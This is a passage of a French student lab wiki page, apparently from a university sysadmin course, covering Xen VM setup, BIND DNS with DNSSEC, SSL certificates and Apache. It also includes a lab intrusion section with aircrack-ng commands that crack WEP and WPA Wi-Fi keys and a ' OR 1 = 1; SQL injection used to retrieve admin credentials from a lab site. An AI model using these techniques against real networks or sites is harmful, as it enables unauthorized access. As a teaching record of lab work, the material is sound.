     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57953</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57953"/>
				<updated>2022-01-12T11:51:32Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
